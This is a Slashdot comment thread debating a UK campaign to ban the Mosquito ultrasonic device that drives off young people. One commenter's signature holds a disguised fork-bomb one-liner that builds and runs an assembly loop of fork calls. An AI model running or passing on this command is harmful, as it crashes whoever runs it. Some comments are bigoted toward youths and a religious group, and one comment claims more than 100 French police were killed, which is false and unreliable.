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UK Commissioner Seeks To Ban Ultrasonic Anti-Teen Device
mikesd81 points out a Times Online article that discusses the legality of the Mosquito sound device, which is used to annoy and drive off younger people with sounds that are too high-pitched for most adults to hear. We discussed how annoying this device can be a couple years ago. From Times Online:
"Sir Albert Aynsley-Green, the Children's Commissioner for England appointed to represent the views of the country's 11 million children, has set up a campaign — called Buzz Off — that is calling for the Mosquito to be banned on grounds that it infringes the rights of young people. 'These devices are indiscriminate and target all children and young people, including babies, regardless of whether they are behaving or misbehaving,' Sir Al told the BBC. 'The use of measures such as these are simply demonizing children and young people, creating a dangerous and widening divide between the young and the old.'"
"This is a technological device, and you can't outlaw it !", right ? It's a "hack", and cool. Only it affects many people who read this site, as opposed to (mostly) rich people, like authors.
But I fear we will get a shameful demonstration of human nature, making "noble" excuses to force whatever suits the individual making the excuse.
Shutting down free speech with violence isn't fighting fascism. It IS fascism!
It's 15,000Hz (the demo is at least) actually, not 25,000Hz. Rare is the human that can hear a tone higher than 20,000Hz, nor is your sound equipment likely to produce it.
However 15kHz isn't that hard. While people do suffer from hearing loss as they age, it isn't as severe as some seem to think, or as universal. I'm over 25 and I can easily hear the tone just out of my speakers. In fact I can hear higher than that. Last time I self tested, it was about 18.5kHz where it cut off (or at least dropped sharply). Also it isn't as though your hearing will necessarily suddenly drop to zero at a certain frequency. Rather it will gradually roll off as frequencies get higher. So while teens might hear it louder, it doesn't mean that adults couldn't hear it and be annoyed, just not able to figure out what it is since it is softer to them.
Over all, it just isn't a very smart idea. You can't even limit it just to kids and, as they mentioned, what makes someone magically responsible at 25? I had a full time job and owned a house before I turned 25, I'm going to say it is ok for me to want to go to a store.
You can easily have computer equipment that can't reproduce frequencies that high. While 15kHz isn't especially high, and the general range of audio is considered to be "20-20,000Hz," there's plenty of cheap gear that rolls off before that. Unless you are sure your gear does a good job reproducing sounds in a given range, I wouldn't count on it as an accurate hearing test.
Man, I will start taking you serious the moment my mind gets around the thought of a one-year-old Criminal.
This isn't stopping theft, it is torturing babies. The worst part? If the parents are too old to hear the sound, they. have. no. clue. what. you. are. doing. to. their. kid.
I'm assuming you don't have little ones of your own. Strike that, I'm hoping you don't have little ones of your own.
Also, on a side note, this seems very stupid from a business sense. Kids grow up to be consumers, and many companies spend massive amounts to burn brand loyalties into their young impressionable minds. How quick will that noise make a massive headache a Pavlovian response to anything related to your brand.
Seems more like they're shooting themselves in the foot, not protecting themselves.
Just -1, Troll talking to another.
It's much simpler and more humane to simply play classical music kinda loud.
Also, I'm 36 and I can hear all kinds of ultra high pitched stuff. So they're driving me and my money away, too.
expandfairuse.org
The point, though, is this: The owner of the shop whose windows are being trashed isn't in a position to change society. He installs the device to move the problem on.
Politicians, parents and teachers are the ones who can solve this, but our politics (and parenting and schools) are totally disfunctional at the moment. No one wants to talk about what the problems are and what solutions might actually work, be tested and proven. Instead it's essentially a one party system with everyone trying to be "tough on this" and "longer prison sentences for that".
Rich.
libguestfs - tools for accessing and modifying virtual machine disk images
It is an issue that the parents let there kids run feral. Except for actually paying attention to the kids in being involved in their lives they let them run out side and learn the world with others with the same type of parents. The kids learn to fend for themselves when they get confident enough to start attacking adults and other children then there is really nothing that will stop them or change their ways. If you want to know what humans were like before society just watch the children in any major american city, and you will see humans in action in their non socialized selves. No fear of the police or any one but at the same time afraid of everything, everyone and everything is a threat, the strong is the one who survives so everyone must be the strongest.
It is no longer Kids will be kids, kids and gangs especially are not as much a criminal element like the gangsters of the 1930's they are a pack of wild humans, they don't do crimes because of things like money and power (in a society scale) they do it for Survival, Dominance, or Acceptance amongst their group. In my mind these kids (and adults too) are wild animals who happen to be human species.
If something is so important that you feel the need to post it on the internet... It probably isn't that important.
No, no, no. If their parents weren't COMPLETE DUMBASSES, the problem wouldn't be there in the first place. If they just cared about what are their kids doing, or maybe even - ${DEITY} forbid - TALKED to them, everyday, ever since their kids were born, the problem wouldn't be there at all, except maybe some corner cases of inborn blockheadedness. Disciplining won't do any good if there's no feel of doing wrong without being disciplined. Do you want a society of people who are "good" just because they were being beaten as kids?
I was disciplined (in the common sesne of this word) TWICE in my whole life, yet I know what's good and what's bad and don't like doing the latter because it's just something intrinsically wrong for me. And that was explained to me when I was a kid, not beaten into my head. It can be done, it's just that most people out there should have never had children because they are unable to give proper upbringing. And disciplining won't help anything.
This is Slashdot. Common sense is futile. You will be modded down.
People wishing others harm ... is exactly why these devices are proposed in the first place. I don't know if you've walked around in a European city anytime recently, but to say the athmosphere's dismal is a *slight* understatement. Obviously it's a specific type of youngsters that need banning, but God forbid anyone actually calls the cow by it's name.
... afterwards ... with a large wooden club). Remember when France was shut down for three weeks because a few youngsters ON THE RUN FROM THE POLICE ... BROKE IN TO AN ELECTRICITY CABIN ... and managed to kill themselves in the process ... to say these criminals deserved every volt they unleashed upon themselves for robbery, damage, vandalism and shear stupidity is an understatement.
...
If these devices can't be located, they're the perfect solution to the problem, for the people buying them. They're not attempting to secure shopping districts but living districts. There are very few youngsters in these type of districts anyway, and, as I've said already, a certain type of youngster (hint : they beat people up over cartoons) is extremely problematic.
For some people, who aren't allowed to defend themselves or their property in any way, even by calling the police ("prison/police makes the problem worse" you know, and it's "racist" and they have the "right to face your accuser", which these youngsters do
But it's been decided by these "victims" (who just blame anyone who believes differently from them, but this isn't racism you see, it's in their holy book) : This was obviously the fault of the police, and more than 100 police officers had to be killed in revenge. Tens of thousands of cars torched
That is the problem. Now you suggest a solution (other than "kick them all out", or punishing them in any way, or attacking their convictions or political (AND religious) ideology in any way).
And if you wish to accuse me of racism and stick your head back into the sand, be my guest. I'm not alone in thinking this.
I have a friend who is 30 and he still can hear these high pitched noises. He's a teacher and has busted tons of students who used those high pitched ringtones to know when an incoming text message was received. I'm sure there's a big number of adults who are trying to conduct business who would be affected by this as well.
Can I bum a sig?
Oh please I knew from reading the title that this article would congeal comments of "Wah! Bad parents!". Have you ever stopped to think why the parents are so bad?
I had this debate a few days ago with a 72 year old man. I'm only 21 for the record. We were discussing a group of school children who were maybe 12 or 13 on the bus sitting down while this man and another old woman were standing. The point that I hit is how can you blame the parents when we are all the cause for their failing. Let me explain, most of us are working longer hours, kids are in daycare/school/babysitter, your mortgage just keeps growing, tax and inflation woes worrying you, savings disappearing, credit card debt and other factors. Most people with an ounce of sense or ability to earn money aren't having kids. Almost all the kids are coming out of the lowest common denominator multiplied by itself, not all, but by far the great majority. We are creating our own problem and unfortunately economics is to blame. This isn't just happening on the village level it's happening en masse in most established, post-industrial countries. We have a problem where parents can't be parents. This is the cause and unless either the middle/upper class couples start having children again or life becomes less stressful it's not going to get any better.It goes deeper than that though. I remember the key cause for generation and legal conflict from teenagers when I was one was boredom. I wasn't your generic geek who hid from everyone else at school during my teenage years, that is not to say I didn't have a horrible time at school it is just to say I associated with people most geeks would avoid. Most of us are living in suburbs or satellite towns, these are horrible breeding grounds for boredom. Kids are dead bored, the fact there is nothing to do nearby except mill with friends is the resultant of this. People get violent and abusive, both to themselves and others, when they are bored. Never underestimate the power of environmental factors on people.You argument of children's world being one of survival of the fittest is looking through the Fox News camera. You're being overly dramatic and probably ignorant of your own upbringing. Childhood is a microcosm of the larger society around them, if you wonder why they fight so much and have pecking orders and whatnot it is because the rest of us live in such an environment as well. Kids forming groups, gangs or whatever derogatory slang you want to use are merely living out the wider societies states and nations metaphors to a scale. If you want to point the finger at someone state with yourself and why you continue to live in such an inhumane, yet intrinsically human manor.
Children aren't adults and they won't behave responsibly unless someone teaches them too. The ones running rampant have parents that don't care and live in estates that the police avoid.
Arguably the children have quite rationally adapted to an amoral environment. The problem is that you need to make the adapt to a moral one if society isn't going to gradually decay.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Furthermore, in support of your argument, the UK news is consistently riddled with stories where adults who have approached such groups have been kicked to shit, or more recently to death.
...because it sells more papers.
...because society loves violence.
Why is the news riddled with such stories?
Why does it sell more papers?
What you really need over there is a another really juicy sex scandal to get your mind off things and give to time to reflect on the fact that real violent crime rates have dropped every year for the past 13 years.
Bars are not restaurants...where you sit down, get waited on and have a nice pleasant meal. If you're old enough to be typing here on /., chances are, you are old enough to go out to places like this, and I wasn't talking to you. Unless you are young enough to be sitting in a high chair, screaming and crying...or you aren't old enough and disciplined enough to sit in your seat, and not be wandering around the restaurant showing uninterested patrons the mushed up cracker in your hand, etc....then I wasn't speaking to not allowing you in the restaurant.
If you have very young children...there ARE place to take them out (like Chuck E Cheeses in the example I gave)....I don't expect to not have young kids acting like kids there...but, in an adult restaurant, I do. Your rights end where mine begin, and I do have the reasonable expectation to not be disturbed by screaming out of control kids.
Let's remember, this IS and adult world...not everything in it revolves around 'the children'.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
No one is going to call for a ban on speakers but it's easy to outlaw a particular use that causes real physical harm to people. It hurts the ears of anyone with ears good enough to hear the sound. You can think of it as a booby trap and those are repulsive no matter how they are made. It also teaches troubled youth that force is the way to solve problems.
There's not even a good business case for this. Besides hoodlums, the device will drive off mothers with babies who are your best customers. When they find out about these devices those moms are going to be very angry. Stores dumb enough to have bought these things would do well to discretely dismantle them and apologize profusely to anyone who asks about them.
1) Force frequently IS the way to solve problems. You can only avoid force when both parties in a dispute are willing to mutually forgo force, and use more diplomatic means to resolve their differences. If one party refuses to do so, then force IS the ONLY way to resolve the differences. Some people like to claim that humans are, or should be, more "civilized" than that, but sorry, that's the simple truth to it. Civilization only works when everyone acts civilized. If some people don't act civilized, then you have to resort to force to deal with them.
2) This thing about babies still doesn't present a good reason to ban this particular technology, or the use of it in stores. Instead, I can see a good argument for a law which requires stores using these anti-teen devices to plainly warn customers, with an obvious sign, that such a device may be in use. Then, customers can choose whether or not they wish to go inside this store. Some stores may not have any mothers with babies in their normal customers, and others may wish to turn off the device when such customers enter, or only turn on the device when troublesome teens enter. Instead of trying to fix everything with legislation, it would be much more civilized of us all to deal with problems on our own.
Take a moment to really think about school violence. Consider just how many students are in school and realize that when you were in school, you'd be lucky if you heard about even 0.1% of the violence that occurred around the country. These days, if any person in the country walks into any school and kills a student it becomes national news. Of course, that's just shootings.
I think there is more to it....those MASS school killings would still have made the national news even back when I was a kid....
They just didn't happen back then...not like these days. You had the U of TX sniper that was about the only one for years and years.
In recent times, Colombine, VT, IL...and a significant other number of college shootings...mass shootings.
Now, I do think yes..we do hear about things more. I wondered that about all the kidnapped and missing kids....are there more pervs and kid stalkers out there, or is it that there are at least 3-4 major 24/7 news channels, and they need something to report.
But, on the mass violence....no, it just did not happen as much. It was big news then as it is now...and I'd have heard about them.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........